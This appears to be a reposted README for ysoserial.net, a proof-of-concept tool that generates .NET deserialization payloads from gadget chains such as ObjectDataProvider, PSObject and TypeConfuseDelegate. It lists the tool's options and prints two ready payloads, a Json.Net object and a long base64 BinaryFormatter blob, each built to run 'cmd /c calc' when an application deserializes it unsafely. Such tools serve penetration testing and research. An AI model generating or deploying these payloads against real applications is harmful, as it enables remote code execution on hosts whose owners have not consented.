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ysoserial.net – Deserialization payload generator for a variety of .NET formatters

December 1, 2017
2 Min Read
A proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization.
Description
ysoserial.net is a collection of utilities and property-oriented programming “gadget chains” discovered in common .NET libraries that can, under the right conditions, exploit .NET applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.
It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.
This project is inspired by Chris Frohoff’s ysoserial project

Usage

$ ./ysoserial -h
ysoserial.net generates deserialization payloads for a variety of .NET formatters.

Available formatters:
        ActivitySurrogateSelector (ActivitySurrogateSelector gadget by James Forshaw. This gadget ignores the command parameter and executes the constructor of ExploitClass class.)
                Formatters:
                        BinaryFormatter
                        ObjectStateFormatter
                        SoapFormatter
                        LosFormatter
        ObjectDataProvider (ObjectDataProvider Gadget by Oleksandr Mirosh and Alvaro Munoz)
                Formatters:
                        Json.Net
                        FastJson
                        JavaScriptSerializer
        PSObject (PSObject Gadget by Oleksandr Mirosh and Alvaro Munoz. Target must run a system not patched for CVE-2017-8565 (Published: 07/11/2017))
                Formatters:
                        BinaryFormatter
                        ObjectStateFormatter
                        SoapFormatter
                        NetDataContractSerializer
                        LosFormatter
        TypeConfuseDelegate (TypeConfuseDelegate gadget by James Forshaw)
                Formatters:
                        BinaryFormatter
                        ObjectStateFormatter
                        NetDataContractSerializer
                        LosFormatter
        WindowsIdentity (WindowsIdentity Gadget by Levi Broderick)
                Formatters:
                        Json.Net


Usage: ysoserial.exe [options]
Options:
  -o, --output=VALUE         the output format (raw|base64).
  -g, --gadget=VALUE         the gadget chain.
  -f, --formatter=VALUE      the formatter.
  -c, --command=VALUE        the command to be executed.
  -t, --test                 whether to run payload locally. Default: false
  -h, --help                 show this message and exit

Examples

$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/ccalc']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
$ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLCBWZXJzaW9uPTMuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUBAAAAJVN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUFNPYmplY3QBAAAABkNsaVhtbAECAAAABgMAAACJFQ0KPE9ianMgVmVyc2lvbj0iMS4xLjAuMSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vcG93ZXJzaGVsbC8yMDA0LzA0Ij4mI3hEOw0KPE9iaiBSZWZJZD0iMCI+JiN4RDsNCiAgICA8VE4gUmVmSWQ9IjAiPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZSNTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uL1J1bnNwYWNlSW52b2tlNTwvVD4mI3hEOw0KICAgICAgPFQ+TWljcm9zb2Z0Lk1hbmFnZW1lbnQuSW5mcmFzdHJ1Y3R1cmUuQ2ltSW5zdGFuY2UjUnVuc3BhY2VJbnZva2U1PC9UPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZTwvVD4mI3hEOw0KICAgICAgPFQ+U3lzdGVtLk9iamVjdDwvVD4mI3hEOw0KICAgIDwvVE4+JiN4RDsNCiAgICA8VG9TdHJpbmc+UnVuc3BhY2VJbnZva2U1PC9Ub1N0cmluZz4mI3hEOw0KICAgIDxPYmogUmVmSWQ9IjEiPiYjeEQ7DQogICAgICA8VE5SZWYgUmVmSWQ9IjAiIC8+JiN4RDsNCiAgICAgIDxUb1N0cmluZz5SdW5zcGFjZUludm9rZTU8L1RvU3RyaW5nPiYjeEQ7DQogICAgICA8UHJvcHM+JiN4RDsNCiAgICAgICAgPE5pbCBOPSJQU0NvbXB1dGVyTmFtZSIgLz4mI3hEOw0KCQk8T2JqIE49InRlc3QxIiBSZWZJZCA9IjIwIiA+ICYjeEQ7DQogICAgICAgICAgPFROIFJlZklkPSIxIiA+ICYjeEQ7DQogICAgICAgICAgICA8VD5TeXN0ZW0uV2luZG93cy5NYXJrdXAuWGFtbFJlYWRlcltdLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1PC9UPiYjeEQ7DQogICAgICAgICAgICA8VD5TeXN0ZW0uQXJyYXk8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5PYmplY3Q8L1Q+JiN4RDsNCiAgICAgICAgICA8L1ROPiYjeEQ7DQogICAgICAgICAgPExTVD4mI3hEOw0KICAgICAgICAgICAgPFMgTj0iSGFzaCIgPiAgDQoJCSZsdDtSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSImZ3Q7DQoJICZsdDtPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgJmd0Ow0KICAgICAmbHQ7T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnMmZ3Q7DQogICAgICAgICZsdDtTeXN0ZW06U3RyaW5nJmd0O2NtZCZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgICAgJmx0O1N5c3RlbTpTdHJpbmcmZ3Q7L2MgImNhbGMiICZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgJmx0Oy9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycyZndDsNCiAgICAmbHQ7L09iamVjdERhdGFQcm92aWRlciZndDsNCiZsdDsvUmVzb3VyY2VEaWN0aW9uYXJ5Jmd0Ow0KCQkJPC9TPiYjeEQ7DQogICAgICAgICAgPC9MU1Q+JiN4RDsNCiAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgIDwvUHJvcHM+JiN4RDsNCiAgICAgIDxNUz4mI3hEOw0KICAgICAgICA8T2JqIE49Il9fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIj4gJiN4RDsNCiAgICAgICAgICA8VE4gUmVmSWQ9IjEiID4gJiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5Db2xsZWN0aW9ucy5BcnJheUxpc3Q8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5PYmplY3Q8L1Q+JiN4RDsNCiAgICAgICAgICA8L1ROPiYjeEQ7DQogICAgICAgICAgPExTVD4mI3hEOw0KICAgICAgICAgICAgPE9iaiBSZWZJZD0iMyI+ICYjeEQ7DQogICAgICAgICAgICAgIDxNUz4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49IkNsYXNzTmFtZSI+UnVuc3BhY2VJbnZva2U1PC9TPiYjeEQ7DQogICAgICAgICAgICAgICAgPFMgTj0iTmFtZXNwYWNlIj5TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uPC9TPiYjeEQ7DQogICAgICAgICAgICAgICAgPE5pbCBOPSJTZXJ2ZXJOYW1lIiAvPiYjeEQ7DQogICAgICAgICAgICAgICAgPEkzMiBOPSJIYXNoIj40NjA5MjkxOTI8L0kzMj4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49Ik1pWG1sIj4gJmx0O0NMQVNTIE5BTUU9IlJ1bnNwYWNlSW52b2tlNSIgJmd0OyZsdDtQUk9QRVJUWSBOQU1FPSJ0ZXN0MSIgVFlQRSA9InN0cmluZyIgJmd0OyZsdDsvUFJPUEVSVFkmZ3Q7Jmx0Oy9DTEFTUyZndDs8L1M+JiN4RDsNCiAgICAgICAgICAgICAgPC9NUz4mI3hEOw0KICAgICAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgICAgICA8L0xTVD4mI3hEOw0KICAgICAgICA8L09iaj4mI3hEOw0KICAgICAgPC9NUz4mI3hEOw0KICAgIDwvT2JqPiYjeEQ7DQogICAgPE1TPiYjeEQ7DQogICAgICA8UmVmIE49Il9fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIiAvPiYjeEQ7DQogICAgPC9NUz4mI3hEOw0KICA8L09iaj4mI3hEOw0KPC9PYmpzPgs=

Contributing

  • Fork it
  • Create your feature branch (git checkout -b my-new-feature)
  • Commit your changes (git commit -am 'Add some feature')
  • Push to the branch (git push origin my-new-feature)
  • Create new Pull Request

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